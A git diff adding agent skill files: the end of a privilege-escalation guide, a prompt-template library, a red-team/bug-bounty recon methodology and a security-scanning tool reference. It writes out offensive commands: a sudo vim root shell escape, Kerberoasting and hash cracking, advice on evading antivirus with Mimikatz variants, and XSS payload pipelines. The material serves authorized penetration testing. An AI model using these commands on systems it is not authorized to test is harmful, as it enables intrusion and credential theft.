| NFS no_root_squash | Linux | No | mount |
|
||||
| Token Impersonation | Windows | No | SweetPotato |
|
||||
| Service Abuse | Windows | No | PowerUp |
|
||||
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
|
||||
| AS-REP Roasting | Windows | Yes | Rubeus |
|
||||
| Golden Ticket | Windows | Yes | Mimikatz |
|
||||
| Pass-the-Ticket | Windows | Yes | Rubeus |
|
||||
| DCSync | Windows | Yes | Mimikatz |
|
||||
| LLMNR Poisoning | Windows | Yes | Responder |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Have initial shell access before attempting escalation
|
||||
- Verify target OS and environment before selecting technique
|
||||
- Use appropriate tool for domain vs local escalation
|
||||
|
||||
**Must Not:**
|
||||
- Attempt techniques on production systems without authorization
|
||||
- Leave persistence mechanisms without client approval
|
||||
- Ignore detection mechanisms (EDR, SIEM)
|
||||
|
||||
**Should:**
|
||||
- Enumerate thoroughly before exploitation
|
||||
- Document all successful escalation paths
|
||||
- Clean up artifacts after engagement
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Linux Sudo to Root
|
||||
|
||||
```bash
|
||||
# Check sudo permissions
|
||||
$ sudo -l
|
||||
User www-data may run the following commands:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
|
||||
# Exploit vim
|
||||
$ sudo vim -c ':!/bin/bash'
|
||||
root@target:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
### Example 2: Windows Kerberoasting
|
||||
|
||||
```bash
|
||||
# Request service tickets
|
||||
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
|
||||
|
||||
# Crack with hashcat
|
||||
$ hashcat -m 13100 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
|
||||
| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
|
||||
| Kerberoasting returns no hashes | Check for service accounts with SPNs |
|
||||
| Token impersonation fails | Verify SeImpersonatePrivilege is present |
|
||||
| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
|
||||
|
||||
---
|
||||
|
||||
## Additional Resources
|
||||
|
||||
For detailed enumeration scripts, use:
|
||||
- **LinPEAS**: Linux privilege escalation enumeration
|
||||
- **WinPEAS**: Windows privilege escalation enumeration
|
||||
- **BloodHound**: Active Directory attack path mapping
|
||||
- **GTFOBins**: Unix binary exploitation reference
|
||||
322
skills/prompt-library/SKILL.md
Normal file
322
skills/prompt-library/SKILL.md
Normal file
@@ -0,0 +1,322 @@
|
||||
---
|
||||
name: prompt-library
|
||||
description: "Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks."
|
||||
---
|
||||
|
||||
# 📝 Prompt Library
|
||||
|
||||
> A comprehensive collection of battle-tested prompts inspired by [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) and community best practices.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when the user:
|
||||
|
||||
- Needs ready-to-use prompt templates
|
||||
- Wants role-based prompts (act as X)
|
||||
- Asks for prompt examples or inspiration
|
||||
- Needs task-specific prompt patterns
|
||||
- Wants to improve their prompting
|
||||
|
||||
## Prompt Categories
|
||||
|
||||
### 🎭 Role-Based Prompts
|
||||
|
||||
#### Expert Developer
|
||||
|
||||
```
|
||||
Act as an expert software developer with 15+ years of experience. You specialize in clean code, SOLID principles, and pragmatic architecture. When reviewing code:
|
||||
1. Identify bugs and potential issues
|
||||
2. Suggest performance improvements
|
||||
3. Recommend better patterns
|
||||
4. Explain your reasoning clearly
|
||||
Always prioritize readability and maintainability over cleverness.
|
||||
```
|
||||
|
||||
#### Code Reviewer
|
||||
|
||||
```
|
||||
Act as a senior code reviewer. Your role is to:
|
||||
1. Check for bugs, edge cases, and error handling
|
||||
2. Evaluate code structure and organization
|
||||
3. Assess naming conventions and readability
|
||||
4. Identify potential security issues
|
||||
5. Suggest improvements with specific examples
|
||||
|
||||
Format your review as:
|
||||
🔴 Critical Issues (must fix)
|
||||
🟡 Suggestions (should consider)
|
||||
🟢 Praise (what's done well)
|
||||
```
|
||||
|
||||
#### Technical Writer
|
||||
|
||||
```
|
||||
Act as a technical documentation expert. Transform complex technical concepts into clear, accessible documentation. Follow these principles:
|
||||
- Use simple language, avoid jargon
|
||||
- Include practical examples
|
||||
- Structure with clear headings
|
||||
- Add code snippets where helpful
|
||||
- Consider the reader's experience level
|
||||
```
|
||||
|
||||
#### System Architect
|
||||
|
||||
```
|
||||
Act as a senior system architect designing for scale. Consider:
|
||||
- Scalability (horizontal and vertical)
|
||||
- Reliability (fault tolerance, redundancy)
|
||||
- Maintainability (modularity, clear boundaries)
|
||||
- Performance (latency, throughput)
|
||||
- Cost efficiency
|
||||
|
||||
Provide architecture decisions with trade-off analysis.
|
||||
```
|
||||
|
||||
### 🛠️ Task-Specific Prompts
|
||||
|
||||
#### Debug This Code
|
||||
|
||||
```
|
||||
Debug the following code. Your analysis should include:
|
||||
|
||||
1. **Problem Identification**: What exactly is failing?
|
||||
2. **Root Cause**: Why is it failing?
|
||||
3. **Fix**: Provide corrected code
|
||||
4. **Prevention**: How to prevent similar bugs
|
||||
|
||||
Show your debugging thought process step by step.
|
||||
```
|
||||
|
||||
#### Explain Like I'm 5 (ELI5)
|
||||
|
||||
```
|
||||
Explain [CONCEPT] as if I'm 5 years old. Use:
|
||||
- Simple everyday analogies
|
||||
- No technical jargon
|
||||
- Short sentences
|
||||
- Relatable examples from daily life
|
||||
- A fun, engaging tone
|
||||
```
|
||||
|
||||
#### Code Refactoring
|
||||
|
||||
```
|
||||
Refactor this code following these priorities:
|
||||
1. Readability first
|
||||
2. Remove duplication (DRY)
|
||||
3. Single responsibility per function
|
||||
4. Meaningful names
|
||||
5. Add comments only where necessary
|
||||
|
||||
Show before/after with explanation of changes.
|
||||
```
|
||||
|
||||
#### Write Tests
|
||||
|
||||
```
|
||||
Write comprehensive tests for this code:
|
||||
1. Happy path scenarios
|
||||
2. Edge cases
|
||||
3. Error conditions
|
||||
4. Boundary values
|
||||
|
||||
Use [FRAMEWORK] testing conventions. Include:
|
||||
- Descriptive test names
|
||||
- Arrange-Act-Assert pattern
|
||||
- Mocking where appropriate
|
||||
```
|
||||
|
||||
#### API Documentation
|
||||
|
||||
```
|
||||
Generate API documentation for this endpoint including:
|
||||
- Endpoint URL and method
|
||||
- Request parameters (path, query, body)
|
||||
- Request/response examples
|
||||
- Error codes and meanings
|
||||
- Authentication requirements
|
||||
- Rate limits if applicable
|
||||
|
||||
Format as OpenAPI/Swagger or Markdown.
|
||||
```
|
||||
|
||||
### 📊 Analysis Prompts
|
||||
|
||||
#### Code Complexity Analysis
|
||||
|
||||
```
|
||||
Analyze the complexity of this codebase:
|
||||
|
||||
1. **Cyclomatic Complexity**: Identify complex functions
|
||||
2. **Coupling**: Find tightly coupled components
|
||||
3. **Cohesion**: Assess module cohesion
|
||||
4. **Dependencies**: Map critical dependencies
|
||||
5. **Technical Debt**: Highlight areas needing refactoring
|
||||
|
||||
Rate each area and provide actionable recommendations.
|
||||
```
|
||||
|
||||
#### Performance Analysis
|
||||
|
||||
```
|
||||
Analyze this code for performance issues:
|
||||
|
||||
1. **Time Complexity**: Big O analysis
|
||||
2. **Space Complexity**: Memory usage patterns
|
||||
3. **I/O Bottlenecks**: Database, network, disk
|
||||
4. **Algorithmic Issues**: Inefficient patterns
|
||||
5. **Quick Wins**: Easy optimizations
|
||||
|
||||
Prioritize findings by impact.
|
||||
```
|
||||
|
||||
#### Security Review
|
||||
|
||||
```
|
||||
Perform a security review of this code:
|
||||
|
||||
1. **Input Validation**: Check all inputs
|
||||
2. **Authentication/Authorization**: Access control
|
||||
3. **Data Protection**: Sensitive data handling
|
||||
4. **Injection Vulnerabilities**: SQL, XSS, etc.
|
||||
5. **Dependencies**: Known vulnerabilities
|
||||
|
||||
Classify issues by severity (Critical/High/Medium/Low).
|
||||
```
|
||||
|
||||
### 🎨 Creative Prompts
|
||||
|
||||
#### Brainstorm Features
|
||||
|
||||
```
|
||||
Brainstorm features for [PRODUCT]:
|
||||
|
||||
For each feature, provide:
|
||||
- Name and one-line description
|
||||
- User value proposition
|
||||
- Implementation complexity (Low/Med/High)
|
||||
- Dependencies on other features
|
||||
|
||||
Generate 10 ideas, then rank top 3 by impact/effort ratio.
|
||||
```
|
||||
|
||||
#### Name Generator
|
||||
|
||||
```
|
||||
Generate names for [PROJECT/FEATURE]:
|
||||
|
||||
Provide 10 options in these categories:
|
||||
- Descriptive (what it does)
|
||||
- Evocative (how it feels)
|
||||
- Acronyms (memorable abbreviations)
|
||||
- Metaphorical (analogies)
|
||||
|
||||
For each, explain the reasoning and check domain availability patterns.
|
||||
```
|
||||
|
||||
### 🔄 Transformation Prompts
|
||||
|
||||
#### Migrate Code
|
||||
|
||||
```
|
||||
Migrate this code from [SOURCE] to [TARGET]:
|
||||
|
||||
1. Identify equivalent constructs
|
||||
2. Handle incompatible features
|
||||
3. Preserve functionality exactly
|
||||
4. Follow target language idioms
|
||||
5. Add necessary dependencies
|
||||
|
||||
Show the migration step by step with explanations.
|
||||
```
|
||||
|
||||
#### Convert Format
|
||||
|
||||
```
|
||||
Convert this [SOURCE_FORMAT] to [TARGET_FORMAT]:
|
||||
|
||||
Requirements:
|
||||
- Preserve all data
|
||||
- Use idiomatic target format
|
||||
- Handle edge cases
|
||||
- Validate the output
|
||||
- Provide sample verification
|
||||
```
|
||||
|
||||
## Prompt Engineering Techniques
|
||||
|
||||
### Chain of Thought (CoT)
|
||||
|
||||
```
|
||||
Let's solve this step by step:
|
||||
1. First, I'll understand the problem
|
||||
2. Then, I'll identify the key components
|
||||
3. Next, I'll work through the logic
|
||||
4. Finally, I'll verify the solution
|
||||
|
||||
[Your question here]
|
||||
```
|
||||
|
||||
### Few-Shot Learning
|
||||
|
||||
```
|
||||
Here are some examples of the task:
|
||||
|
||||
Example 1:
|
||||
Input: [example input 1]
|
||||
Output: [example output 1]
|
||||
|
||||
Example 2:
|
||||
Input: [example input 2]
|
||||
Output: [example output 2]
|
||||
|
||||
Now complete this:
|
||||
Input: [actual input]
|
||||
Output:
|
||||
```
|
||||
|
||||
### Persona Pattern
|
||||
|
||||
```
|
||||
You are [PERSONA] with [TRAITS].
|
||||
Your communication style is [STYLE].
|
||||
You prioritize [VALUES].
|
||||
|
||||
When responding:
|
||||
- [Behavior 1]
|
||||
- [Behavior 2]
|
||||
- [Behavior 3]
|
||||
```
|
||||
|
||||
### Structured Output
|
||||
|
||||
```
|
||||
Respond in the following JSON format:
|
||||
{
|
||||
"analysis": "your analysis here",
|
||||
"recommendations": ["rec1", "rec2"],
|
||||
"confidence": 0.0-1.0,
|
||||
"caveats": ["caveat1"]
|
||||
}
|
||||
```
|
||||
|
||||
## Prompt Improvement Checklist
|
||||
|
||||
When crafting prompts, ensure:
|
||||
|
||||
- [ ] **Clear objective**: What exactly do you want?
|
||||
- [ ] **Context provided**: Background information included?
|
||||
- [ ] **Format specified**: How should output be structured?
|
||||
- [ ] **Examples given**: Are there reference examples?
|
||||
- [ ] **Constraints defined**: Any limitations or requirements?
|
||||
- [ ] **Success criteria**: How do you measure good output?
|
||||
|
||||
## Resources
|
||||
|
||||
- [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)
|
||||
- [prompts.chat](https://prompts.chat)
|
||||
- [Learn Prompting](https://learnprompting.org/)
|
||||
|
||||
---
|
||||
|
||||
> 💡 **Tip**: The best prompts are specific, provide context, and include examples of desired output.
|
||||
307
skills/red-team-tools/SKILL.md
Normal file
307
skills/red-team-tools/SKILL.md
Normal file
@@ -0,0 +1,307 @@
|
||||
---
|
||||
name: Red Team Tools and Methodology
|
||||
description: This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.
|
||||
---
|
||||
|
||||
# Red Team Tools and Methodology
|
||||
|
||||
## Purpose
|
||||
|
||||
Implement proven methodologies and tool workflows from top security researchers for effective reconnaissance, vulnerability discovery, and bug bounty hunting. Automate common tasks while maintaining thorough coverage of attack surfaces.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Target scope definition (domains, IP ranges, applications)
|
||||
- Linux-based attack machine (Kali, Ubuntu)
|
||||
- Bug bounty program rules and scope
|
||||
- Tool dependencies installed (Go, Python, Ruby)
|
||||
- API keys for various services (Shodan, Censys, etc.)
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Comprehensive subdomain enumeration
|
||||
- Live host discovery and technology fingerprinting
|
||||
- Identified vulnerabilities and attack vectors
|
||||
- Automated recon pipeline outputs
|
||||
- Documented findings for reporting
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Project Tracking and Acquisitions
|
||||
|
||||
Set up reconnaissance tracking:
|
||||
|
||||
```bash
|
||||
# Create project structure
|
||||
mkdir -p target/{recon,vulns,reports}
|
||||
cd target
|
||||
|
||||
# Find acquisitions using Crunchbase
|
||||
# Search manually for subsidiary companies
|
||||
|
||||
# Get ASN for targets
|
||||
amass intel -org "Target Company" -src
|
||||
|
||||
# Alternative ASN lookup
|
||||
curl -s "https://bgp.he.net/search?search=targetcompany&commit=Search"
|
||||
```
|
||||
|
||||
### 2. Subdomain Enumeration
|
||||
|
||||
Comprehensive subdomain discovery:
|
||||
|
||||
```bash
|
||||
# Create wildcards file
|
||||
echo "target.com" > wildcards
|
||||
|
||||
# Run Amass passively
|
||||
amass enum -passive -d target.com -src -o amass_passive.txt
|
||||
|
||||
# Run Amass actively
|
||||
amass enum -active -d target.com -src -o amass_active.txt
|
||||
|
||||
# Use Subfinder
|
||||
subfinder -d target.com -silent -o subfinder.txt
|
||||
|
||||
# Asset discovery
|
||||
cat wildcards | assetfinder --subs-only | anew domains.txt
|
||||
|
||||
# Alternative subdomain tools
|
||||
findomain -t target.com -o
|
||||
|
||||
# Generate permutations with dnsgen
|
||||
cat domains.txt | dnsgen - | httprobe > permuted.txt
|
||||
|
||||
# Combine all sources
|
||||
cat amass_*.txt subfinder.txt | sort -u > all_subs.txt
|
||||
```
|
||||
|
||||
### 3. Live Host Discovery
|
||||
|
||||
Identify responding hosts:
|
||||
|
||||
```bash
|
||||
# Check which hosts are live with httprobe
|
||||
cat domains.txt | httprobe -c 80 --prefer-https | anew hosts.txt
|
||||
|
||||
# Use httpx for more details
|
||||
cat domains.txt | httpx -title -tech-detect -status-code -o live_hosts.txt
|
||||
|
||||
# Alternative with massdns
|
||||
massdns -r resolvers.txt -t A -o S domains.txt > resolved.txt
|
||||
```
|
||||
|
||||
### 4. Technology Fingerprinting
|
||||
|
||||
Identify technologies for targeted attacks:
|
||||
|
||||
```bash
|
||||
# Whatweb scanning
|
||||
whatweb -i hosts.txt -a 3 -v > tech_stack.txt
|
||||
|
||||
# Nuclei technology detection
|
||||
nuclei -l hosts.txt -t technologies/ -o tech_nuclei.txt
|
||||
|
||||
# Wappalyzer (if available)
|
||||
# Browser extension for manual review
|
||||
```
|
||||
|
||||
### 5. Content Discovery
|
||||
|
||||
Find hidden endpoints and files:
|
||||
|
||||
```bash
|
||||
# Directory bruteforce with ffuf
|
||||
ffuf -ac -v -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
|
||||
|
||||
# Historical URLs from Wayback
|
||||
waybackurls target.com | tee wayback.txt
|
||||
|
||||
# Find all URLs with gau
|
||||
gau target.com | tee all_urls.txt
|
||||
|
||||
# Parameter discovery
|
||||
cat all_urls.txt | grep "=" | sort -u > params.txt
|
||||
|
||||
# Generate custom wordlist from historical data
|
||||
cat all_urls.txt | unfurl paths | sort -u > custom_wordlist.txt
|
||||
```
|
||||
|
||||
### 6. Application Analysis (Jason Haddix Method)
|
||||
|
||||
**Heat Map Priority Areas:**
|
||||
|
||||
1. **File Uploads** - Test for injection, XXE, SSRF, shell upload
|
||||
2. **Content Types** - Filter Burp for multipart forms
|
||||
3. **APIs** - Look for hidden methods, lack of auth
|
||||
4. **Profile Sections** - Stored XSS, custom fields
|
||||
5. **Integrations** - SSRF through third parties
|
||||
6. **Error Pages** - Exotic injection points
|
||||
|
||||
**Analysis Questions:**
|
||||
- How does the app pass data? (Params, API, Hybrid)
|
||||
- Where does the app talk about users? (UID, UUID endpoints)
|
||||
- Does the site have multi-tenancy or user levels?
|
||||
- Does it have a unique threat model?
|
||||
- How does the site handle XSS/CSRF?
|
||||
- Has the site had past writeups/exploits?
|
||||
|
||||
### 7. Automated XSS Hunting
|
||||
|
||||
```bash
|
||||
# ParamSpider for parameter extraction
|
||||
python3 paramspider.py --domain target.com -o params.txt
|
||||
|
||||
# Filter with Gxss
|
||||
cat params.txt | Gxss -p test
|
||||
|
||||
# Dalfox for XSS testing
|
||||
cat params.txt | dalfox pipe --mining-dict params.txt -o xss_results.txt
|
||||
|
||||
# Alternative workflow
|
||||
waybackurls target.com | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do
|
||||
curl -s "$url" | grep -q 'alert(1)' && echo "$url"
|
||||
done > potential_xss.txt
|
||||
```
|
||||
|
||||
### 8. Vulnerability Scanning
|
||||
|
||||
```bash
|
||||
# Nuclei comprehensive scan
|
||||
nuclei -l hosts.txt -t ~/nuclei-templates/ -o nuclei_results.txt
|
||||
|
||||
# Check for common CVEs
|
||||
nuclei -l hosts.txt -t cves/ -o cve_results.txt
|
||||
|
||||
# Web vulnerabilities
|
||||
nuclei -l hosts.txt -t vulnerabilities/ -o vuln_results.txt
|
||||
```
|
||||
|
||||
### 9. API Enumeration
|
||||
|
||||
**Wordlists for API fuzzing:**
|
||||
|
||||
```bash
|
||||
# Enumerate API endpoints
|
||||
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
|
||||
|
||||
# Test API versions
|
||||
ffuf -u https://target.com/api/v1/FUZZ -w api_wordlist.txt
|
||||
ffuf -u https://target.com/api/v2/FUZZ -w api_wordlist.txt
|
||||
|
||||
# Check for hidden methods
|
||||
for method in GET POST PUT DELETE PATCH; do
|
||||
curl -X $method https://target.com/api/users -v
|
||||
done
|
||||
```
|
||||
|
||||
### 10. Automated Recon Script
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
domain=$1
|
||||
|
||||
if [[ -z $domain ]]; then
|
||||
echo "Usage: ./recon.sh <domain>"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mkdir -p "$domain"
|
||||
|
||||
# Subdomain enumeration
|
||||
echo "[*] Enumerating subdomains..."
|
||||
subfinder -d "$domain" -silent > "$domain/subs.txt"
|
||||
|
||||
# Live host discovery
|
||||
echo "[*] Finding live hosts..."
|
||||
cat "$domain/subs.txt" | httpx -title -tech-detect -status-code > "$domain/live.txt"
|
||||
|
||||
# URL collection
|
||||
echo "[*] Collecting URLs..."
|
||||
cat "$domain/live.txt" | waybackurls > "$domain/urls.txt"
|
||||
|
||||
# Nuclei scanning
|
||||
echo "[*] Running Nuclei..."
|
||||
nuclei -l "$domain/live.txt" -o "$domain/nuclei.txt"
|
||||
|
||||
echo "[+] Recon complete!"
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Essential Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| Amass | Subdomain enumeration |
|
||||
| Subfinder | Fast subdomain discovery |
|
||||
| httpx/httprobe | Live host detection |
|
||||
| ffuf | Content discovery |
|
||||
| Nuclei | Vulnerability scanning |
|
||||
| Burp Suite | Manual testing |
|
||||
| Dalfox | XSS automation |
|
||||
| waybackurls | Historical URL mining |
|
||||
|
||||
### Key API Endpoints to Check
|
||||
|
||||
```
|
||||
/api/v1/users
|
||||
/api/v1/admin
|
||||
/api/v1/profile
|
||||
/api/users/me
|
||||
/api/config
|
||||
/api/debug
|
||||
/api/swagger
|
||||
/api/graphql
|
||||
```
|
||||
|
||||
### XSS Filter Testing
|
||||
|
||||
```html
|
||||
<!-- Test encoding handling -->
|
||||
<h1><img><table>
|
||||
<script>
|
||||
%3Cscript%3E
|
||||
%253Cscript%253E
|
||||
%26lt;script%26gt;
|
||||
```
|
||||
|
||||
## Constraints
|
||||
|
||||
- Respect program scope boundaries
|
||||
- Avoid DoS or fuzzing on production without permission
|
||||
- Rate limit requests to avoid blocking
|
||||
- Some tools may generate false positives
|
||||
- API keys required for full functionality of some tools
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Quick Subdomain Recon
|
||||
|
||||
```bash
|
||||
subfinder -d target.com | httpx -title | tee results.txt
|
||||
```
|
||||
|
||||
### Example 2: XSS Hunting Pipeline
|
||||
|
||||
```bash
|
||||
waybackurls target.com | grep "=" | qsreplace "test" | httpx -silent | dalfox pipe
|
||||
```
|
||||
|
||||
### Example 3: Comprehensive Scan
|
||||
|
||||
```bash
|
||||
# Full recon chain
|
||||
amass enum -d target.com | httpx | nuclei -t ~/nuclei-templates/
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Rate limited | Use proxy rotation, reduce concurrency |
|
||||
| Too many results | Focus on specific technology stacks |
|
||||
| False positives | Manually verify findings before reporting |
|
||||
| Missing subdomains | Combine multiple enumeration sources |
|
||||
| API key errors | Verify keys in config files |
|
||||
| Tools not found | Install Go tools with `go install` |
|
||||
586
skills/scanning-tools/SKILL.md
Normal file
586
skills/scanning-tools/SKILL.md
Normal file
@@ -0,0 +1,586 @@
|
||||
---
|
||||
name: Security Scanning Tools
|
||||
description: This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.
|
||||
---
|
||||
|
||||
# Security Scanning Tools
|
||||
|
||||
## Purpose
|
||||
|
||||
Master essential security scanning tools for network discovery, vulnerability assessment, web application testing, wireless security, and compliance validation. This skill covers tool selection, configuration, and practical usage across different scanning categories.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Environment
|
||||
- Linux-based system (Kali Linux recommended)
|
||||
- Network access to target systems
|
||||
- Proper authorization for scanning activities
|
||||
|
||||
### Required Knowledge
|
||||
- Basic networking concepts (TCP/IP, ports, protocols)
|
||||
- Understanding of common vulnerabilities
|
||||
- Familiarity with command-line interfaces
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Network Discovery Reports** - Identified hosts, ports, and services
|
||||
2. **Vulnerability Assessment Reports** - CVEs, misconfigurations, risk ratings
|
||||
3. **Web Application Security Reports** - OWASP Top 10 findings
|
||||
4. **Compliance Reports** - CIS benchmarks, PCI-DSS, HIPAA checks
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Network Scanning Tools
|
||||
|
||||
#### Nmap (Network Mapper)
|
||||
|
||||
Primary tool for network discovery and security auditing:
|
||||
|
||||
```bash
|
||||
# Host discovery
|
||||
nmap -sn 192.168.1.0/24 # Ping scan (no port scan)
|
||||
nmap -sL 192.168.1.0/24 # List scan (DNS resolution)
|
||||
nmap -Pn 192.168.1.100 # Skip host discovery
|
||||
|
||||
# Port scanning techniques
|
||||
nmap -sS 192.168.1.100 # TCP SYN scan (stealth)
|
||||
nmap -sT 192.168.1.100 # TCP connect scan
|
||||
nmap -sU 192.168.1.100 # UDP scan
|
||||
nmap -sA 192.168.1.100 # ACK scan (firewall detection)
|
||||
|
||||
# Port specification
|
||||
nmap -p 80,443 192.168.1.100 # Specific ports
|
||||
nmap -p- 192.168.1.100 # All 65535 ports
|
||||
nmap -p 1-1000 192.168.1.100 # Port range
|
||||
nmap --top-ports 100 192.168.1.100 # Top 100 common ports
|
||||
|
||||
# Service and OS detection
|
||||
nmap -sV 192.168.1.100 # Service version detection
|
||||
nmap -O 192.168.1.100 # OS detection
|
||||
nmap -A 192.168.1.100 # Aggressive (OS, version, scripts)
|
||||
|
||||
# Timing and performance
|
||||
nmap -T0 192.168.1.100 # Paranoid (slowest, IDS evasion)
|
||||
nmap -T4 192.168.1.100 # Aggressive (faster)
|
||||
nmap -T5 192.168.1.100 # Insane (fastest)
|
||||
|
||||
# NSE Scripts
|
||||
nmap --script=vuln 192.168.1.100 # Vulnerability scripts
|
||||
nmap --script=http-enum 192.168.1.100 # Web enumeration
|
||||
nmap --script=smb-vuln* 192.168.1.100 # SMB vulnerabilities
|
||||
nmap --script=default 192.168.1.100 # Default script set
|
||||
|
||||
# Output formats
|
||||
nmap -oN scan.txt 192.168.1.100 # Normal output
|
||||
nmap -oX scan.xml 192.168.1.100 # XML output
|
||||
nmap -oG scan.gnmap 192.168.1.100 # Grepable output
|
||||
nmap -oA scan 192.168.1.100 # All formats
|
||||
```
|
||||
|
||||
#### Masscan
|
||||
|
||||
High-speed port scanning for large networks:
|
||||
|
||||
```bash
|
||||
# Basic scanning
|
||||
masscan -p80 192.168.1.0/24 --rate=1000
|
||||
masscan -p80,443,8080 192.168.1.0/24 --rate=10000
|
||||
|
||||
# Full port range
|
||||
masscan -p0-65535 192.168.1.0/24 --rate=5000
|
||||
|
||||
# Large-scale scanning
|
||||
masscan 0.0.0.0/0 -p443 --rate=100000 --excludefile exclude.txt
|
||||
|
||||
# Output formats
|
||||
masscan -p80 192.168.1.0/24 -oG results.gnmap
|
||||
masscan -p80 192.168.1.0/24 -oJ results.json
|
||||
masscan -p80 192.168.1.0/24 -oX results.xml
|
||||
|
||||
# Banner grabbing
|
||||
masscan -p80 192.168.1.0/24 --banners
|
||||
```
|
||||
|
||||
### Phase 2: Vulnerability Scanning Tools
|
||||
|
||||
#### Nessus
|
||||
|
||||
Enterprise-grade vulnerability assessment:
|
||||
|
||||
```bash
|
||||
# Start Nessus service
|
||||
sudo systemctl start nessusd
|
||||
|
||||
# Access web interface
|
||||
# https://localhost:8834
|
||||
|
||||
# Command-line (nessuscli)
|
||||
nessuscli scan --create --name "Internal Scan" --targets 192.168.1.0/24
|
||||
nessuscli scan --list
|
||||
nessuscli scan --launch <scan_id>
|
||||
nessuscli report --format pdf --output report.pdf <scan_id>
|
||||
```
|
||||
|
||||
Key Nessus features:
|
||||
- Comprehensive CVE detection
|
||||
- Compliance checks (PCI-DSS, HIPAA, CIS)
|
||||
- Custom scan templates
|
||||
- Credentialed scanning for deeper analysis
|
||||
- Regular plugin updates
|
||||
|
||||
#### OpenVAS (Greenbone)
|
||||
|
||||
Open-source vulnerability scanning:
|
||||
|
||||
```bash
|
||||
# Install OpenVAS
|
||||
sudo apt install openvas
|
||||
sudo gvm-setup
|
||||
|
||||
# Start services
|
||||
sudo gvm-start
|
||||
|
||||
# Access web interface (Greenbone Security Assistant)
|
||||
# https://localhost:9392
|
||||
|
||||
# Command-line operations
|
||||
gvm-cli socket --xml "<get_version/>"
|
||||
gvm-cli socket --xml "<get_tasks/>"
|
||||
|
||||
# Create and run scan
|
||||
gvm-cli socket --xml '
|
||||
<create_target>
|
||||
<name>Test Target</name>
|
||||
<hosts>192.168.1.0/24</hosts>
|
||||
</create_target>'
|
||||
```
|
||||
|
||||
### Phase 3: Web Application Scanning Tools
|
||||
|
||||
#### Burp Suite
|
||||
|
||||
Comprehensive web application testing:
|
||||
|
||||
```
|
||||
# Proxy configuration
|
||||
1. Set browser proxy to 127.0.0.1:8080
|
||||
2. Import Burp CA certificate for HTTPS
|
||||
3. Add target to scope
|
||||
|
||||
# Key modules:
|
||||
- Proxy: Intercept and modify requests
|
||||
- Spider: Crawl web applications
|
||||
- Scanner: Automated vulnerability detection
|
||||
- Intruder: Automated attacks (fuzzing, brute-force)
|
||||
- Repeater: Manual request manipulation
|
||||
- Decoder: Encode/decode data
|
||||
- Comparer: Compare responses
|
||||
```
|
||||
|
||||
Core testing workflow:
|
||||
1. Configure proxy and scope
|
||||
2. Spider the application
|
||||
3. Analyze sitemap
|
||||
4. Run active scanner
|
||||
5. Manual testing with Repeater/Intruder
|
||||
6. Review findings and generate report
|
||||
|
||||
#### OWASP ZAP
|
||||
|
||||
Open-source web application scanner:
|
||||
|
||||
```bash
|
||||
# Start ZAP
|
||||
zaproxy
|
||||
|
||||
# Automated scan from CLI
|
||||
zap-cli quick-scan https://target.com
|
||||
|
||||
# Full scan
|
||||
zap-cli spider https://target.com
|
||||
zap-cli active-scan https://target.com
|
||||
|
||||
# Generate report
|
||||
zap-cli report -o report.html -f html
|
||||
|
||||
# API mode
|
||||
zap.sh -daemon -port 8080 -config api.key=<your_key>
|
||||
```
|
||||
|
||||
ZAP automation:
|
||||
```bash
|
||||
# Docker-based scanning
|
||||
docker run -t owasp/zap2docker-stable zap-full-scan.py \
|
||||
-t https://target.com -r report.html
|
||||
|
||||
# Baseline scan (passive only)
|
||||
docker run -t owasp/zap2docker-stable zap-baseline.py \
|
||||
-t https://target.com -r report.html
|
||||
```
|
||||
|
||||
#### Nikto
|
||||
|
||||
Web server vulnerability scanner:
|
||||
|
||||
```bash
|
||||
# Basic scan
|
||||
nikto -h https://target.com
|
||||
|
||||
# Scan specific port
|
||||
nikto -h target.com -p 8080
|
||||
|
||||
# Scan with SSL
|
||||
nikto -h target.com -ssl
|
||||
|
||||
# Multiple targets
|
||||
nikto -h targets.txt
|
||||
|
||||
# Output formats
|
||||
nikto -h target.com -o report.html -Format html
|
||||
nikto -h target.com -o report.xml -Format xml
